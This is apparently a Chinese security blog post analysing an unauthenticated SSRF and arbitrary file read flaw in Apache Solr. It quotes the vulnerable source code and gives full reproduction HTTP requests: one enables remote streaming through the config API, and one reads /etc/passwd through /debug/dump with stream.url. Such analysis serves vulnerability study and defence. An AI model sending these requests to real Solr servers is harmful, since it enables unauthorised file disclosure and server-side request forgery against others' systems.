• solr任意文件读取与SSRF漏洞分析


    漏洞描述

    solr默认安装未开启身份验证,攻击者可未授权通过config api修改配置,导致ssrf和任意文件读取。

    漏洞分析

    String[] strs = params.getParams( CommonParams.STREAM_URL );
    if( strs != null ) {
        if( !enableRemoteStreams ) {
        throw new SolrException( ErrorCode.BAD_REQUEST, "Remote Streaming is disabled." );
        }
        for( final String url : strs ) {
        ContentStreamBase stream = new ContentStreamBase.URLStream( new URL(url) );
        if( contentType != null ) {
            stream.setContentType( contentType );
        }
        streams.add( stream );
        }
    }
    

    这里获取stream.url参数并调用了URLStream,跟进URLStream,发现其getStream()方法与url建立了连接,导致ssrf漏洞

    public InputStream getStream() throws IOException {
        URLConnection conn = this.url.openConnection();
        
        contentType = conn.getContentType();
        name = url.toExternalForm();
        size = conn.getContentLengthLong();
        InputStream is = conn.getInputStream();
        String urlFile = url.getFile().toLowerCase(Locale.ROOT);
        if( "gzip".equals(conn.getContentEncoding()) || urlFile.endsWith( ".gz" ) || urlFile.endsWith( ".gzip" )){
        is = new GZIPInputStream(is);
        }
        return is;
    }
    
    • 任意文件读取
      同样在SolrRequestParsers.java中,第213~225行
    strs = params.getParams( CommonParams.STREAM_FILE );
    if( strs != null ) {
        if( !enableRemoteStreams ) {
        throw new SolrException( ErrorCode.BAD_REQUEST, "Remote Streaming is disabled. See http://lucene.apache.org/solr/guide/requestdispatcher-in-solrconfig.html for help" );
        }
        for( final String file : strs ) {
        ContentStreamBase stream = new ContentStreamBase.FileStream( new File(file) );
        if( contentType != null ) {
            stream.setContentType( contentType );
        }
        streams.add( stream );
        }
    }
    

    和SSRF代码类似,这里调用的是ContentStreamBase.FileStream,跟进去发现就是文件读取,没有任何过滤

    public InputStream getStream() throws IOException {
        InputStream is = new FileInputStream( file );
        String lowerName = name.toLowerCase(Locale.ROOT);
        if(lowerName.endsWith(".gz") || lowerName.endsWith(".gzip")) {
        is = new GZIPInputStream(is);
        }
        return is;
    }
    

    漏洞复现

    stream_url和stream_file这两个Remote Streaming必须通过requestDispatcher.requestParsers.enableRemoteStreaming开启后才能够使用。
    默认requestDispatcher.requestParsers.enableRemoteStreaming没有开打,我们先通过如下api获取core

    http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
    


    这里core是test
    调用api开启requestDispatcher.requestParsers.enableRemoteStreaming,请求如下:

    POST /solr/test/config HTTP/1.1
    Host: 192.168.247.131:8983
    Content-Length: 83
    Pragma: no-cache
    Cache-Control: no-cache
    Origin: http://192.168.247.131:8983
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.247.131:8983/solr/test/config
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
    

    开启后寻找某个路径进行利用
    SolrRequestParsers.java在解析请求时就被调用
    在https://github.com/apache/solr/blob/7ada4032180b516548fc0263f42da6a7a917f92b/solr/core/src/resources/ImplicitPlugins.json 中提供了很多请求路径,其中/debug/dump主要是输出一些请求头和响应头信息,可针对该路径进行利用

    POST /solr/test/debug/dump HTTP/1.1
    Host: 192.168.247.131:8983
    Content-Length: 29
    Pragma: no-cache
    Cache-Control: no-cache
    Origin: http://192.168.247.131:8983
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.247.131:8983/solr/test/debug/dump
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    stream.url=file:///etc/passwd
    

    /update/json等也可以进行文件读取,从报错中返回部分文件信息

  • 相关阅读:
    天地图OGC WMTS服务规则
    【异常】VS中运行HTTP 无法注册URL
    【TextBox】重写右键菜单
    【ContextMenu】DataContext不自动更新
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
  • 原文地址:https://www.cnblogs.com/g0udan/p/14557530.html
Copyright © 2020-2023  润新知